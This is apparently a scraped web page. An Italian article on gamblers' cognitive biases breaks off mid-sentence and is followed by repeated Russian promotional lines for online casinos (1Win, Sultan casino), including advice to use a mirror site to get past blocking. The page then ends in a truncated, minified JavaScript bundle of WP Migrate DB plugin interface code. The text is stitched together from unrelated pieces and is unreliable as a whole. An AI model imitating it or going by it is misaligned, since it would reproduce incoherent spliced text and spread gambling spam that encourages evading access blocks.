Bias cognitivi comuni che influenzano le decisioni dei giocatori d’azzardo
Nel mondo del gioco d’azzardo, le decisioni non sono sempre guidate dalla logica e dalla razionalità. Spesso, i giocatori cadono vittima di vari pregiudizi cognitivi che influenzano il loro comportamento e le loro scelte. Questi bias mentali possono portare a decisioni rischiose e potenzialmente dannose, specialmente quando si gioca su piattaforme come https://spinanga-it.org o in casinò tradizionali. Comprendere questi meccanismi psicologici è fondamentale per chiunque voglia approcciarsi al gioco d’azzardo in modo consapevole, riducendo i rischi di sviluppare comportamenti problematici. In questo articolo, esploreremo i principali bias cognitivi che colpiscono i giocatori d’azzardo e come questi influenzano il processo decisionale durante le sessioni di gioco.
Il bias della fallacia del giocatore
La fallacia del giocatore, conosciuta anche come «fallacia di Monte Carlo
Вас ждут захватывающие турниры и акции в
Султан казино, которые сделают вашу игру еще ярче.
Приложение
1Win доступно для Android и iOS. Оно обеспечивает удобный доступ к ставкам в любое время.
Чтобы зайти на сайт при блокировке, используйте
1win зеркало. Оно полностью дублирует функционал основной платформы.
В
1Win есть онлайн-чат с поддержкой. Вы можете задать любые вопросы и получить помощь.
В
1Win есть онлайн-чат с поддержкой. Вы можете задать любые вопросы и получить помощь.
В
1Win есть онлайн-чат с поддержкой. Вы можете задать любые вопросы и получить помощь.
(self.webpackJSONPwpmdb=self.webpackJSONPwpmdb||[]).push([[792],{10866:(e,t,a)=>{"use strict";a.d(t,{h:()=>l});var n,r=a(52888);function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t=1;t
r.createElement("svg",i({width:12,height:10,viewBox:"0 0 12 7",xmlns:"http://www.w3.org/2000/svg"},e),n||(n=r.createElement("g",{id:"Symbols",stroke:"none",strokeWidth:1,fill:"none",fillRule:"evenodd"},r.createElement("g",{id:"accordion_collapsed_default_active",transform:"translate(-1188 -25)",fill:"#000",fillRule:"nonzero"},r.createElement("g",{id:"arrow_down",transform:"translate(1188 25)"},r.createElement("path",{d:"m3.16 3.893 4.9 4.945a.548.548 0 0 0 .779 0 .558.558 0 0 0 0-.785L4.327 3.5l4.511-4.552a.559.559 0 0 0 0-.786.548.548 0 0 0-.779 0l-4.9 4.945a.564.564 0 0 0 0 .786Z",id:"arrow",transform:"rotate(-90 6 3.5)"}))))));a.p},33801:(e,t,a)=>{"use strict";a.d(t,{h:()=>l});var n,r=a(52888);function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",i({xmlns:"http://www.w3.org/2000/svg",width:16,height:16,viewBox:"0 0 16 16"},e),n||(n=r.createElement("path",{fill:"#999",d:"m9.188 8 3.566-3.565a.84.84 0 1 0-1.189-1.189L8 6.812 4.435 3.246a.84.84 0 1 0-1.189 1.189L6.812 8l-3.566 3.565a.84.84 0 0 0 1.189 1.189L8 9.188l3.565 3.566a.84.84 0 1 0 1.189-1.189L9.188 8Z"})));a.p},81731:(e,t,a)=>{"use strict";a.d(t,{h:()=>s});var n,r,i=a(52888);function l(){return l=Object.assign?Object.assign.bind():function(e){for(var t=1;ti.createElement("svg",l({xmlns:"http://www.w3.org/2000/svg",xmlnsXlink:"http://www.w3.org/1999/xlink",width:24,height:24,viewBox:"0 0 24 24"},e),n||(n=i.createElement("defs",null,i.createElement("circle",{id:"license-unchecked-a",cx:8,cy:8,r:8}))),r||(r=i.createElement("g",{fill:"none",fillRule:"evenodd",transform:"translate(4 4)"},i.createElement("use",{fill:"#dc3232",xlinkHref:"#license-unchecked-a"}),i.createElement("g",{fill:"#FFF",transform:"translate(4 4)"},i.createElement("rect",{width:2,height:8,x:3,rx:1,transform:"rotate(-45 4 4)"}),i.createElement("rect",{width:2,height:8,x:3,rx:1,transform:"rotate(-135 4 4)"})))));a.p},75868:(e,t,a)=>{"use strict";a.d(t,{h:()=>l});var n,r=a(52888);function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",i({xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24"},e),n||(n=r.createElement("g",{fill:"none",fillRule:"evenodd"},r.createElement("circle",{cx:12,cy:12,r:8,fill:"#999"}),r.createElement("path",{fill:"#EEE",fillRule:"nonzero",d:"M12.75 15h-1.5a.24.24 0 0 0-.175.075.24.24 0 0 0-.075.175v1.5a.24.24 0 0 0 .075.175.24.24 0 0 0 .175.075h1.5a.24.24 0 0 0 .175-.075.24.24 0 0 0 .075-.175v-1.5a.24.24 0 0 0-.075-.175.24.24 0 0 0-.175-.075zm1.984-5.383a2.758 2.758 0 0 0-.688-.854 3.493 3.493 0 0 0-.948-.555A2.832 2.832 0 0 0 12.052 8c-1.316 0-2.32.594-3.012 1.781a.271.271 0 0 0 .065.355l1.064.837c.057.036.11.054.163.054a.25.25 0 0 0 .201-.107c.312-.402.543-.659.695-.77.186-.13.42-.195.7-.195.265 0 .498.072.699.215.201.142.302.308.302.495 0 .21-.054.38-.163.51-.108.128-.29.253-.545.374a2.752 2.752 0 0 0-.928.727c-.282.328-.293.674-.293 1.044v.302c0 .085.023.168.068.25.046.084.1.125.166.125L12.74 14c.07 0 .13-.035.182-.104a.357.357 0 0 0 .078-.217c0-.112-.018-.262.1-.449a1.29 1.29 0 0 1 .446-.435c.168-.099.3-.178.396-.238a3.3 3.3 0 0 0 .373-.291c.154-.134.273-.267.357-.399.084-.132.16-.302.227-.512.068-.21.101-.436.101-.677 0-.37-.089-.724-.266-1.06z"}))));a.p},25096:(e,t,a)=>{"use strict";a.d(t,{h:()=>l});var n,r=a(52888);function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",i({xmlns:"http://www.w3.org/2000/svg",width:16,height:16,viewBox:"0 0 16 16"},e),n||(n=r.createElement("path",{fill:"#999",d:"m3.562 7.245-.015.003h6.691l-2.104-2.03a.517.517 0 0 1 0-.749l.328-.315c.103-.1.24-.154.386-.154.146 0 .284.054.387.154l3.606 3.472c.103.1.16.232.159.373a.512.512 0 0 1-.16.374l-3.605 3.473a.554.554 0 0 1-.387.154.554.554 0 0 1-.386-.154l-.328-.315a.512.512 0 0 1-.159-.372c0-.141.056-.266.16-.365l2.127-2.042H3.555A.556.556 0 0 1 3 8.212v-.447c0-.29.26-.52.562-.52Z"})));a.p},17780:(e,t,a)=>{"use strict";a.d(t,{A:()=>i});var n=a(52888),r=a(11283);const i=e=>{var t=e.link,a=e.content,i=e.utmContent,l=e.utmCampaign,s=e.anchorLink,c=e.hasArrow,o=void 0===c||c;return n.createElement(r.A,{link:t,content:a,utmContent:i,utmCampaign:l,classes:"docs-link",hasArrow:o,anchorLink:s})}},11283:(e,t,a)=>{"use strict";a.d(t,{A:()=>i});var n=a(52888),r=a(33782);const i=e=>{var t=e.link,a=e.classes,i=e.content,l=e.utmContent,s=e.utmCampaign,c=e.hasArrow,o=e.screenReaderText,d=e.anchorLink,m={source:(0,r.PQ)()?"wp-migrate-pro":"wp-migrate-lite",medium:"plugin",campaign:s,content:l},p=()=>{var e=[];for(var t in m)m.hasOwnProperty(t)&&e.push("utm_".concat(t,"=").concat(m[t]));return!!e.length&&e.join("&")};return n.createElement("a",{className:a,href:(()=>{var e=t;return p()&&(e+="?"+p()),d&&(e+="#"+d),e})(),target:"__blank",rel:"NOFOLLOW"},i," ",o&&n.createElement("span",{className:"screen-reader-text"},o),c&&n.createElement("span",{className:"open-arrow"},"\u2192"))}},40783:(e,t,a)=>{"use strict";a.d(t,{m:()=>r});var n=a(17762),r={tables:{all:(0,n.__)("All tables","wp-migrate-db"),selected:(0,n.__)("Selected tables","wp-migrate-db")},backups:{none:(0,n.__)("No backup","wp-migrate-db"),all:(0,n.__)("Backup all tables","wp-migrate-db"),migration:(0,n.__)("Backup tables selected for migration","wp-migrate-db"),selected:(0,n.__)("Backup selected tables","wp-migrate-db")},post_types:{all:(0,n.__)("All post types","wp-migrate-db"),selected:(0,n.__)("Selected post types","wp-migrate-db")}}},75953:(e,t,a)=>{"use strict";a.d(t,{U:()=>r});var n=a(17762),r={push:(0,n.__)("Push","wp-migrate-db"),pull:(0,n.__)("Pull","wp-migrate-db"),backup_local:(0,n.__)("Backup Database","wp-migrate-db"),import:(0,n.__)("Import Database","wp-migrate-db"),find_replace:(0,n.__)("Find & Replace","wp-migrate-db"),savefile:(0,n.__)("Export Database","wp-migrate-db")}},22395:(e,t,a)=>{"use strict";a.d(t,{A:()=>o,k:()=>c});var n=a(52888),r=a(24467),i=a(17762),l=a(57524),s=a(33782),c=e=>(e?e.reduce(((e,t)=>e+t),0):0)/(e&&e.length>0?e.length:1);const o=()=>{var e=(0,r.d4)((e=>e)),t=(0,l.ud)("intent",e),a=(0,l.ud)("current_stage",e),o=(0,l.ud)("currentPayloadSize",e),d=(0,l.ud)("currentMaxPayloadSize",e),m=(0,l.ud)("payloadSizeHistory",e),p=(0,l.ud)("fileTransferRequests",e);return["push","pull"].includes(t)&&["media_files","theme_files","plugin_files","muplugin_files","other_files"].includes(a)?n.createElement("dl",{className:"fs-stats-container flex flex-row"},n.createElement("dt",{className:"fs-stats"},n.createElement("span",null,(0,i.__)("Max Request Size","wp-migrate-db")),n.createElement("span",{className:"fs-stat-value"},(0,s.G3)(null!==d&&void 0!==d?d:0))),n.createElement("dt",{className:"fs-stats"},n.createElement("span",null,(0,i.__)("Actual Request Size","wp-migrate-db")),n.createElement("span",{className:"fs-stat-value"},(0,s.G3)(null!==o&&void 0!==o?o:0))),n.createElement("dt",{className:"fs-stats"},n.createElement("span",null,(0,i.__)("Average Request Size","wp-migrate-db")),n.createElement("span",{className:"fs-stat-value"},(0,s.G3)(c(m)))),n.createElement("dt",{className:"fs-stats"},n.createElement("span",null,(0,i.__)("Total Requests","wp-migrate-db")),n.createElement("span",{className:"fs-stat-value"},null!==p&&void 0!==p?p:0))):null}},13657:(e,t,a)=>{"use strict";a.d(t,{DU:()=>d,E6:()=>o,HD:()=>c,VR:()=>i,ZS:()=>s,d3:()=>r});var n=a(17762),r=e=>{if(e>=1e6){var t=e/1e6;return(Math.round(100*t)/100).toFixed(2)}if(e>=1e3){var a=e/1e3;return(Math.round(100*a)/100).toFixed(2)}return e<1?(1e3*e).toFixed(2):parseFloat(e).toFixed(2)},i=e=>e>=1e6?"GB":e>=1e3?"MB":e<1?"B":"KB",l=function(e,t){var a=arguments.length>2&&void 0!==arguments[2]&&arguments[2],n=Math.floor(e/t)%60,r=n.toString();return a&&(r="0"+r),n>=10?r.slice(-2):r.toString()},s=function(e){return l(e,1e3,arguments.length>1&&void 0!==arguments[1]&&arguments[1])},c=function(e){return l(e,6e4,arguments.length>1&&void 0!==arguments[1]&&arguments[1])},o=e=>{var t=(e/1e3).toFixed(2),a=c(e/1e3),r=(0,n.nv)("%s %s%s",t,(0,n.__)("sec","wp-migrate-db"),t>1?"s":""),i=(0,n.nv)("%s %s%s",a,(0,n.__)("min","wp-migrate-db"),a>1?"s":"");return(0,n.nv)("%s%s",a>0?i:""," ".concat(r))},d=e=>Math.floor(e/36e5)},47114:(e,t,a)=>{"use strict";function n(e,t,a,n){return"selected"===a.tables_option?a.tables_selected:"pull"===n?t.prefixed_tables:e.this_prefixed_tables}a.d(t,{T:()=>n})},16930:(e,t,a)=>{"use strict";a.d(t,{A:()=>A});var n,r,i,l=a(52888),s=a(17762);function c(){return c=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",c({width:16,height:16,viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),n||(n=l.createElement("path",{d:"M15.838 13.852 9.27.79C8.904.071 8.05-.208 7.366.166a1.38 1.38 0 0 0-.6.616L.165 13.867c-.366.71-.098 1.598.593 1.972.197.11.423.161.649.161h13.183c.776 0 1.411-.66 1.411-1.466a1.49 1.49 0 0 0-.162-.682Z",fill:"#FFB92B"})),r||(r=l.createElement("rect",{x:7,y:5,width:2,height:6,rx:1,fill:"#fff"})),i||(i=l.createElement("circle",{cx:8,cy:13,r:1,fill:"#fff"})));a.p;var d,m;function p(){return p=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",p({width:16,height:16,viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),d||(d=l.createElement("path",{d:"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Z",fill:"#46B450"})),m||(m=l.createElement("path",{d:"M7.95 11.247a1.01 1.01 0 0 1-1.433 0l-2.22-2.234a1.024 1.024 0 0 1 0-1.441 1.01 1.01 0 0 1 1.433 0l1.323 1.33c.1.1.262.1.362 0L10.997 5.3a1.01 1.01 0 0 1 1.434 0 1.023 1.023 0 0 1 0 1.441l-4.48 4.507Z",fill:"#fff"})));a.p;var _,g;function f(){return f=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",f({width:16,height:16,viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),_||(_=l.createElement("path",{d:"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Z",fill:"#0968FF"})),g||(g=l.createElement("path",{d:"M9.026 4.111c0-.67-.549-1.211-1.211-1.211a1.21 1.21 0 0 0-1.211 1.211c0 .662.54 1.211 1.21 1.211a1.22 1.22 0 0 0 1.212-1.21ZM6.519 13.1H9.48c.463 0 .841-.378.841-.84 0-.471-.379-.841-.84-.841h-.556a.088.088 0 0 1-.085-.086V7.815c0-.878-.712-1.582-1.582-1.582h-.74c-.47 0-.841.371-.841.841 0 .462.37.84.84.84h.556c.044 0 .085.04.085.086v3.333c0 .018-.008.04-.027.058a.086.086 0 0 1-.058.027H6.52c-.47 0-.841.371-.841.841 0 .462.37.841.84.841Z",fill:"#fff",stroke:"#fff",strokeWidth:.2})));a.p;var h,v,E;function w(){return w=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",w({width:16,height:16,viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),h||(h=l.createElement("path",{d:"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Z",fill:"#DC3232"})),v||(v=l.createElement("rect",{x:7,y:3.5,width:2,height:6,rx:1,fill:"#fff"})),E||(E=l.createElement("circle",{cx:8,cy:11.5,r:1,fill:"#fff"})));a.p;a(25894);const A=e=>{var t=e.type,a=e.children,n={warning:o,success:u,info:b,danger:y},r={warning:(0,s.__)("Warning","wp-migrate-db"),success:(0,s.__)("Success","wp-migrate-db"),info:(0,s.__)("Information","wp-migrate-db"),danger:(0,s.__)("Error","wp-migrate-db")},i=n[t],c="migrate-notice ".concat(t);return l.createElement("div",{className:c},l.createElement(i,{"aria-label":r[t]}),l.createElement("div",{className:"migrate-notice-content"},a))}},52129:(e,t,a)=>{"use strict";a.d(t,{Jn:()=>u,L3:()=>p,oA:()=>_});var n=a(99764),r=a(52888),i=a(17762),l=a(24914),s=a.n(l),c=a(81731),o=a(23622),d=a(62206);function m(e,t){return e?{left:e.width+t}:{}}var p=e=>{var t=e.position,a=e.condition,i=e.errorMsg,l=e.spinnerCond;return r.createElement(r.Fragment,null,l&&r.createElement("div",{className:"relative"},r.createElement(d.xj,{className:"settings-spinner"})),r.createElement(o.e,{in:"success"===a},r.createElement(_,(0,n.A)({locationInfo:t,classNames:"toggle-success"},e))),r.createElement(o.e,{in:"errored"===a},r.createElement(u,(0,n.A)({error:i,locationInfo:t,classNames:"toggle-error"},e))))},u=e=>{var t=e.offset||12,a=m(e.locationInfo,t);return r.createElement("div",{className:"settings-tooltip ".concat(e.classNames?e.classNames:""),style:a},r.createElement("div",{className:"tooltip-saved flex-container",key:"ajax-error-".concat(s()())},r.createElement(r.Fragment,null,r.createElement(c.h,null)," ",e.error)))},_=e=>{var t=e.offset||12,a=m(e.locationInfo,t);return r.createElement("div",{className:"settings-tooltip ".concat(e.classNames?e.classNames:""),style:a},r.createElement("div",{className:"tooltip-saved flex-container",key:"ajax-error-".concat(s()())},r.createElement(r.Fragment,null,r.createElement(d.lB,null)," ",r.createElement("div",null,(0,i.__)("Saved","wp-migrate-db")))))}},23622:(e,t,a)=>{"use strict";a.d(t,{e:()=>s});var n=a(52888),r=a(16780),i=a(24914),l=a.n(i),s=e=>n.createElement("div",{className:"relative"},n.createElement(r.A,{in:e.in,timeout:e.timeout||500,classNames:"settings-node",unmountOnExit:!0,id:l()()},e.children))},50536:(e,t,a)=>{"use strict";a.d(t,{A:()=>r});var n=a(17762);function r(e){var t="";return"string"===typeof e.error_message?t=e.error_message:"object"===typeof e.error_message&&"string"===typeof e.error_message.message?t=e.error_message.message:"string"===typeof e?t=e:"string"===typeof e.data?t=e.data:"string"===typeof e.message?t=e.message.message:"undefined"!==typeof e.wpmdb_error&&(t=e.body),""!==t?t:(0,n.__)("An unknown error occurred. Please check your PHP error log or contact support.","wp-migrate-db")}},23617:(e,t,a)=>{"use strict";a.d(t,{A:()=>U});var n,r,i=a(57748),l=a(52888),s=a(95274),c=a(17762),o=a(98332),d=a(24914),m=a.n(d),p=a(33782),u=a(7220);function _(){return _=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",_({width:12,height:12,viewBox:"0 0 12 12",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),n||(n=l.createElement("circle",{cx:6,cy:6,r:6,fill:"gray"})),r||(r=l.createElement("path",{d:"M5.538 6.138c.304-.549.888-.872 1.228-1.358.359-.509.158-1.46-.86-1.46-.668 0-.995.505-1.134.923l-1.022-.43c.28-.84 1.042-1.563 2.151-1.563.928 0 1.563.422 1.887.951.276.454.438 1.303.012 1.935-.474.698-.928.911-1.172 1.361-.1.182-.139.3-.139.885H5.35c-.004-.308-.052-.81.19-1.244Zm1.157 2.823c0 .434-.356.789-.79.789a.792.792 0 0 1-.79-.79c0-.434.356-.789.79-.789.434 0 .79.355.79.79Z",fill:"#fff"})));a.p;var f,b;function h(){return h=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",h({width:12,height:12,viewBox:"0 0 12 12",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),f||(f=l.createElement("circle",{cx:6,cy:6,r:6,fill:"#46B450"})),b||(b=l.createElement("path",{d:"M9.75 6.536H6.536V9.75H5.464V6.536H2.25V5.464h3.214V2.25h1.072v3.214H9.75v1.072Z",fill:"#fff"})));a.p;var E,w;function y(){return y=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",y({width:12,height:12,viewBox:"0 0 12 12",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),E||(E=l.createElement("circle",{cx:6,cy:6,r:6,fill:"#46B450"})),w||(w=l.createElement("path",{d:"M6.5 9.5V3.915l2.44 2.44a.504.504 0 0 0 .71 0 .498.498 0 0 0 0-.705L6.355 2.355a.498.498 0 0 0-.705 0l-3.3 3.29a.498.498 0 1 0 .705.705L5.5 3.915V9.5c0 .275.225.5.5.5s.5-.225.5-.5Z",fill:"#fff"})));a.p;var k,x;function N(){return N=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",N({width:12,height:12,viewBox:"0 0 12 12",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),k||(k=l.createElement("circle",{cx:6,cy:6,r:6,fill:"#DC3232"})),x||(x=l.createElement("path",{d:"M5.5 2.5v5.585l-2.44-2.44a.504.504 0 0 0-.71 0 .498.498 0 0 0 0 .705l3.295 3.295c.195.195.51.195.705 0L9.645 6.35a.498.498 0 1 0-.705-.705L6.5 8.085V2.5c0-.275-.225-.5-.5-.5s-.5.225-.5.5Z",fill:"#fff"})));a.p;var T,P;function O(){return O=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",O({width:12,height:12,viewBox:"0 0 12 12",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),T||(T=l.createElement("circle",{cx:6,cy:6,r:6,fill:"gray"})),P||(P=l.createElement("path",{d:"M2.5 6.5h5.585l-2.44 2.44a.504.504 0 0 0 0 .71c.195.195.51.195.705 0l3.295-3.295a.498.498 0 0 0 0-.705l-3.29-3.3a.498.498 0 1 0-.705.705L8.085 5.5H2.5c-.275 0-.5.225-.5.5s.225.5.5.5Z",fill:"#fff"})));a.p;const R=e=>{var t=e.content,a=e.type;return l.createElement(l.Fragment,null,l.createElement("span",{className:"version-tooltip"},(0,s.Ay)(t)),l.createElement("div",{className:"compare-icon ".concat(a)},(()=>{switch(a){case"add":return l.createElement(v,null);case"up":return l.createElement(A,null);case"down":return l.createElement(S,null);case"equal":return l.createElement(C,null);default:return l.createElement(g,null)}})()))};const D=e=>{var t=e.item,a=e.type,n=t.sourceVersion,r=t.destinationVersion,i=(0,u.Z)(n,r),s="themes"===a?"theme":"plugin";return l.createElement("span",{className:"version-compare"},l.createElement(R,{content:(e=>{switch(e){case"add":return(0,c.nv)((0,c.__)("New %s will be added at version %s","wp-migrate-db"),s,n);case"up":return(0,c.nv)((0,c.__)("%s will be upgraded from %s to %s","wp-migrate-db"),s,r,n);case"equal":return(0,c.nv)((0,c.__)("%s will remain the same at version %s","wp-migrate-db"),s,n);case"down":return(0,c.nv)((0,c.__)("%s will be downgraded from %s to %s","wp-migrate-db"),s,r,n);case"none":return(0,c.nv)((0,c.__)("No version detected in %s header","wp-migrate-db"),s);default:return""}})(i),type:i}))};var I,M=o.Ay.ul(I||(I=(0,i.A)(["\n height: 180px;\n overflow-y: scroll;\n resize: vertical;\n margin: 15px 0 0 0;\n border: 1px solid #d6d6d6;\n border-radius: 4px;\n padding: 0.5rem;\n label {\n margin: 0.25rem 0;\n display: block;\n }\n"]))),L=null,F=function(e,t,a,n,r){var i=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{},c=arguments.length>6?arguments[6]:void 0,o=arguments.length>7&&void 0!==arguments[7]?arguments[7]:"",d=arguments.length>8&&void 0!==arguments[8]?arguments[8]:"";function u(e){var r=e.target.value,i=-1===a.indexOf(r),l=(0,p.mx)(a,r);!0===e.nativeEvent.shiftKey&&null!==L&&(l=((e,t,a,n)=>{var r=a.indexOf(e),i=L<=r?L:r,l=L>r?L:r,s=a.slice(i,l+1);return t?(0,p.yr)(n,s):(0,p.Mp)(n,s)})(r,i,t,a)),L=t.indexOf(r),n(l)}var _="";return e.map(((e,t)=>{Object.keys(i).length>0&&(_=void 0!==typeof i[e]?i[e]:"");var n="string"===typeof e?"checkbox-".concat(r,"-").concat(e):"checkbox-".concat(r,"-").concat(e.path),p="string"===typeof e?e:e.path,g="string"===typeof e?e:e.name;return l.createElement("li",{"data-value":p,key:m()()},l.createElement("input",{id:n,type:"checkbox",value:p,onChange:u,checked:a.includes(p),disabled:c}),l.createElement("label",{htmlFor:n,key:m()()},l.createElement("span",{className:"name"},g),l.createElement("span",{className:"extra-label"},(0,s.Ay)(_)),e.hasOwnProperty("sourceVersion")&&"except"!==d&&l.createElement(D,{item:e,type:o})))}))},B=e=>{var t=e.visible,a=e.iterator,n=e.extraLabels,r=e.selected,i=e.disabled,s=e.id,o=e.options?e.options:[],d=void 0===e.showOptions||e.showOptions,p=m()(),u=(0,l.useMemo)((()=>a?a():F(o,(e=>"string"===typeof e[0]?e:e.map((e=>e.path)))(o),r,e.stateManager,p,n,i,e.type,e.themePluginOption)),[a,r]);return l.createElement("div",{className:"select-group"},e.ToggleButtons||"",t&&l.createElement("div",{className:"select-wrap"},l.createElement(M,{id:s,className:e.className?e.className:""},u),d&&l.createElement("p",{className:"multiselect-options"},l.createElement("button",{onClick:()=>e.updateSelected(o)},(0,c.__)("Select All","wp-migrate-db")),l.createElement("button",{onClick:()=>{e.updateSelected([]),L=null}},(0,c.__)("Deselect All","wp-migrate-db"))," ",l.createElement("button",{onClick:()=>e.selectInverse()},(0,c.__)("Invert Selection","wp-migrate-db"))),e.afterList||""))};const U=l.memo(B)},51572:(e,t,a)=>{"use strict";a.d(t,{A:()=>P});var n=a(99764),r=a(60987),i=a(19496),l=a(52888),s=a(94263),c=a.n(s),o=a(24467),d=a(44016),m=a(48665),p=a(10866),u=e=>{var t=e.enabled,a=e.panelName,n=e.toggle,r=e.disabled,i=(0,o.wA)();return l.createElement("input",{type:"checkbox",onChange:e=>{if(r)return e.preventDefault(),!1;i(t?(0,d.Tz)(a):(0,d._t)(a)),i(n)},checked:t,id:"enable-".concat(a),"aria-labelledby":"panel-title-".concat(a)})},_=e=>{var t=e.preTitle,a=e.childPanel,n=e.panelName,r=e.title,i=e.enabled,s=e.toggle,c=e.disabled,o="undefined"!==typeof e.hasInput&&e.hasInput,d=a?"h3":"h2";return l.createElement(l.Fragment,null,t,o&&l.createElement(u,{enabled:i,panelName:n,toggle:s,disabled:c}),l.createElement(d,{id:"panel-title-".concat(n),className:"panel-title"},r))};var g=e=>{var t=e.panelName,a=e.childPanel,n=e.toggleClassName;if(e.hideArrow)return null;var r=a?" white-arrow":"";return l.createElement("div",{className:"button-wrap"},l.createElement("button",{"aria-labelledby":"panel-title-".concat(t),"aria-describedby":"panel-summary-".concat(t)},l.createElement(p.h,{className:"".concat(n).concat(r," panel-arrow")})))},f=e=>{var t=e.childPanel,a=e.panelOpen,n=e.panelsOpen,r=e.preTitle,i=e.forceDivider,s=e.panelName,c=e.registeredPanels,o=e.hideArrow,d=e.title,m=a?"open":"closed",p=()=>e.panelSummary?l.createElement("div",{id:"panel-summary-".concat(s),className:"panel-summary"},e.panelSummary):null,u=function(e){var t=e.intent,a=e.panelName,n=e.connected,r=e.file_uploaded,i=["push","pull"].includes(t);return"import"===t&&"import"===a?!!r:!(!i||!n||"connect"!==a)||""!==t&&"connect"!==a}({intent:e.intent,panelName:e.panelName,connected:e.connected,file_uploaded:e.file_uploaded});i&&(u=!0);var f=u?" bg-grey-light":"",b=[];return e.hasSummary&&e.panelSummary&&b.push("has-summary"),t?l.createElement("div",{className:"panel-header child-panel-header ".concat(b.join(" "))},l.createElement(g,{childPanel:t,panelName:s,panelsOpen:n,toggleClassName:m}),l.createElement("div",{className:"child-summary"},l.createElement(_,{preTitle:r,childPanel:t,panelName:s,title:d}),l.createElement(p,null))):l.createElement(l.Fragment,null,l.createElement(_,{preTitle:r,childPanel:t,panelName:s,title:d,disabled:e.disabled,enabled:e.enabled,toggle:e.toggle,hasInput:e.hasInput}),i&&l.createElement("div",{className:"accordion-divider".concat(f)}),l.createElement("div",{className:"panel-header ".concat(b.join(" "))},l.createElement(p,null),l.createElement(g,{childPanel:t,panelName:s,panelsOpen:n,toggleClassName:m,registeredPanels:c,hideArrow:o})))},b=a(26184);const h=e=>{var t=e.panelContentClass,a=e.panelOpen,n=e.bodyClass,s=e.id,c=e.children,d=function(){var e=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}).on,t=void 0===e||e,a=(0,l.useRef)(),n=(0,l.useState)(0),r=(0,i.A)(n,2),s=r[0],c=r[1],o=(0,l.useRef)(s),d=(0,l.useState)((()=>new ResizeObserver((e=>{a.current&&o.current!==a.current.offsetHeight&&(o.current=a.current.offsetHeight,c(a.current.offsetHeight))})))),m=(0,i.A)(d,1)[0];return(0,l.useLayoutEffect)((()=>(t&&a.current&&(c(a.current.offsetHeight),m.observe(a.current,{})),()=>m.disconnect())),[t,a.current]),[a,s]}(),m=(0,i.A)(d,2),p=m[0],u=m[1],_=(0,o.d4)((e=>e)).migrations,g=n?"".concat(t," ").concat(n):t,f="backup_local"===_.current_migration.intent,h=(0,l.useState)(f),v=(0,i.A)(h,2),E=v[0],w=v[1],y=E?{config:(0,r.A)((0,r.A)({},b.$W.gentle),{},{clamp:!0}),from:{opacity:0,height:0},to:{opacity:a?1:0,height:a?u:0}}:{},A=(0,b.zh)(y);(0,l.useEffect)((()=>{w(!0)}),[]);var k=a?"panel-open":"panel-closed";return l.createElement("div",{className:"".concat(k," panel-body-wrap")},l.createElement(b.CS.div,{style:(0,r.A)((0,r.A)({},A),{},{overflow:"hidden"}),id:s},l.createElement("div",{ref:p,className:"".concat(g," panel-body")},c)))};var v,E,w=a(57524),y=(a(51784),a(33782)),A=a(17762),k=a(95274),x=a(17780);function N(){return N=Object.assign?Object.assign.bind():function(e){for(var t=1;tl.createElement("svg",N({width:28,height:28,viewBox:"0 0 28 28",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),v||(v=l.createElement("rect",{width:28,height:28,rx:6,fill:"#DC3232"})),E||(E=l.createElement("path",{d:"m20.258 8.866-4.95-2.858a2.636 2.636 0 0 0-2.625 0L7.742 8.866a2.625 2.625 0 0 0-1.309 2.275v5.7c0 .933.5 1.8 1.309 2.275l4.95 2.858a2.636 2.636 0 0 0 2.625 0l4.95-2.858a2.625 2.625 0 0 0 1.308-2.275v-5.7a2.66 2.66 0 0 0-1.317-2.275Zm-6.883 1.583A.63.63 0 0 1 14 9.824a.63.63 0 0 1 .625.625v4.375a.63.63 0 0 1-.625.625.63.63 0 0 1-.625-.625V10.45Zm1.392 7.4c-.042.1-.1.192-.175.275a.825.825 0 0 1-.909.175.862.862 0 0 1-.275-.175 1.217 1.217 0 0 1-.183-.275.82.82 0 0 1-.058-.316c0-.217.083-.434.241-.592a.86.86 0 0 1 .275-.175.832.832 0 0 1 .909.175.86.86 0 0 1 .175.275.83.83 0 0 1 .066.317.83.83 0 0 1-.066.316Z",fill:"#fff"})));a.p;const T=e=>{var t=e.panelName,a=e.panelTitle,n=(0,o.d4)((e=>e.migrations)),r=(0,A.nv)((0,A.__)("%s
